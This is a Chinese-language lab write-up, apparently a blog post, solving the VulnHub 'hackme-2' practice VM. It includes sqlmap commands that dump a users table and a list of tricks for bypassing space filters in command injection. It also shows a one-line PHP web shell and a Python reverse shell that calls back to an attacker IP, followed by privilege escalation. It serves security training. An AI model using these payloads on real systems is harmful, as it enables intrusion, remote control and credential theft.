靶机渗透 HACKME-2 (详细渗透,适合新手渗透)

0x01靶机描述

靶机基本信息:

链接https://www.vulnhub.com/entry/hackme-2,618/
作者x4bx54
发布日期2020年12月6日
难度中等

靶机基本介绍:
在这里插入图片描述
hackme2”是一个中等难度的关卡。这是hackme系列的第二部分,其中有更多的控件用于阻止恶意攻击。此外,你还必须跳出框框来利用这些漏洞。目标是通过web漏洞获得有限的权限访问,并随后以根用户身份升级权限。创建该实验室是为了模拟真实世界的web漏洞。

“hackme2”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。

0x02环境搭建

  1. 下载并导入靶机
    打开vmware–文件–打开–hackme2-DHCP.ova

在这里插入图片描述

在这里插入图片描述

  1. 查看网络适配器
    将靶机网络适配器改为NAT模式
    在这里插入图片描述

  2. 启动靶机
    点击 ▶靶机,开启成功
    在这里插入图片描述

0x03靶机渗透

一、 信息收集

1. 主机发现
arp-scan -l

在这里插入图片描述

2. 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.207

在这里插入图片描述

3. 详细扫描
nmap -T4 -sV -O -p 22,80 192.168.30.207

在这里插入图片描述

4. gobuster进行目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30

在这里插入图片描述

5. 网站指纹识别
whatweb http://192.168.30.207

在这里插入图片描述

二、 漏洞挖掘

sql注入

1. 进入主页发现是登录页面,没有用户名及密码,但是页面有注册链接,进行注册用户

在这里插入图片描述

在这里插入图片描述

2.使用所注册的用户登陆成功

在这里插入图片描述

3. 利用sqlmap进行测试是否具有sql注入漏洞
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9"  --level=3 --risk=3

在这里插入图片描述在这里插入图片描述
可以看出该出存在sql注入漏洞

4. 查询当前数据库
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --dbs --tamper space2comment.py --level=5 --risk=3

在这里插入图片描述在这里插入图片描述

5. 查询当前数据库
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --current-db --tamper space2comment.py --level=5 --risk=3

在这里插入图片描述

在这里插入图片描述

6. 查询当前数据中所有的表
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking --tables

在这里插入图片描述

在这里插入图片描述

7. 查询users表中所有的列
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users --columns

在这里插入图片描述

在这里插入图片描述

8. 查询users表中的数据
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users -C user,name,password --dump

在这里插入图片描述
在这里插入图片描述
然后我们对用户superadmin进行解密

2386acb2cf356944177746fc92523983    Uncrackable

在这里插入图片描述

文件上传漏洞

1. 我们对刚所得到的superadmin用户进行登录

在这里发现了文件上传点,也发现了一处查询用户状态入口
在这里插入图片描述

2. 经过验证,上传假图片头木马和图片马时,修改后缀均已失败告终,可以上传图片可以成功

在这里插入图片描述
在这里插入图片描述
虽然可以上传图片,但是uploads文件夹并不存在,而且我们还没有找到文件包含点,所以我们需要继续寻找其他漏洞,换种解题思路

命令注入漏洞

1. 手工测试

Last Name 输入框中可能存在命令执行漏洞
在这里插入图片描述

2. 进行验证

此处确实含有命令注入漏洞
在这里插入图片描述
但是在进一步的验证中发现命令执行却不起作用,所以在这里猜测可能是由于过滤空格导致的
在这里插入图片描述

#命令执行绕过空格的方法:
<  		 -->   重定向,如cat<flag.php
<>       -->   重定向,如cat<>flag.php
%09 	 -->   需要php环境,如cat%09flag.php
${IFS}	 -->   单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 	 -->   后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

其中两种方法均可以成功绕过

system('cat${IFS}/etc/passwd')
system('cat$IFS$9/etc/passwd')

在这里插入图片描述
在这里插入图片描述

三、 漏洞利用

1. 可以进行执行命令,所以我们可以尝试查看各种有用文件

在查看的过程中我们发现,当前页面welcomeadmin.php源码泄露。我们进行查看,发现了图片上传后的路径,并且可以看出这里并且可以看到并没有过滤asp,aspx后缀文件

cat${IFS}welcomeadmin.php
文件上传路径:
/var/www/html/uploads/year2020/
即:http://192.168.30.207/uploads/year2020/

在这里插入图片描述

2. 上传一句话木马,蚁剑连接失败

这里我们可以进行上传asp与aspx木马文件,并用蚁剑进行连接,但是结果以失败告终
在这里插入图片描述

在这里插入图片描述
木马文件上传成功

3. 对上传的文件访问并用菜刀连接

在这里插入图片描述
在这里插入图片描述
连接失败

4. 换种思路 命令执行+文件上传

我们现在可以进行命令执行(执行命令反弹shell失败,可能是不存在这种反弹shell方法,或者是我执行有误,并没有执行成功),也知道了文件上传后的路径,我们可以利用命令执行漏洞修改上传到服务器的文件名,然后进行反弹shell

4.1 前面我们上传的phpinfo.jpg文件,我我们尝试修改后缀,并进行访问

system('mv${IFS}/var/www/html/uploads/year2020/phpinfo.jpg${IFS}/var/www/html/uploads/year2020/phpinfo.php')

在这里插入图片描述
4.2成功访问phpinfo页面

http://192.168.30.207/uploads/year2020/phpinfo.php

在这里插入图片描述

5. 反弹shell

5.1上传图片马sysexec.jpg

#图片马中的脚本:
<?php @system($_GET[cmd]);?>

在这里插入图片描述
5.2 利用命令注入漏洞进行修改后缀

system('mv${IFS}/var/www/html/uploads/year2020/sysexec3.jpg${IFS}/var/www/html/uploads/year2020/sysexec3.php')

在这里插入图片描述
5.3 借用hackbar工具访问url,反弹shell

这里给大家推荐一个在线生成反弹shell命令的网站
https://weibell.github.io/reverse-shell-generator/

192.168.30.207/uploads/year2020/sysexec3.php?cmd=export RHOST="192.168.30.182";
export RPORT=8888;
python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'

在这里插入图片描述
在这里插入图片描述
成功反弹shell

四、 提权

1. 先用python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

2. 我们筛选出可登录的用户
cat /etc/passwd | grep bash

在这里插入图片描述

3. 来到home/目录,发现有一个legacy目录(并不是用户)

在这里插入图片描述

4. 进入了legacy目录,发现可执行的二进制文件,执行,提权成功

在这里插入图片描述

0x04实验总结

这个靶机的难度适中,通过这个靶机的联系,感觉更可以增强自己对这些漏洞执行的连贯性,靶机主要考察了目录扫描,sql注入(这里要绕过空格过滤),文件上传与命令执行的结合,反弹shell及提权。该靶机可以串通各部分知识,值得一做

  • 5
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值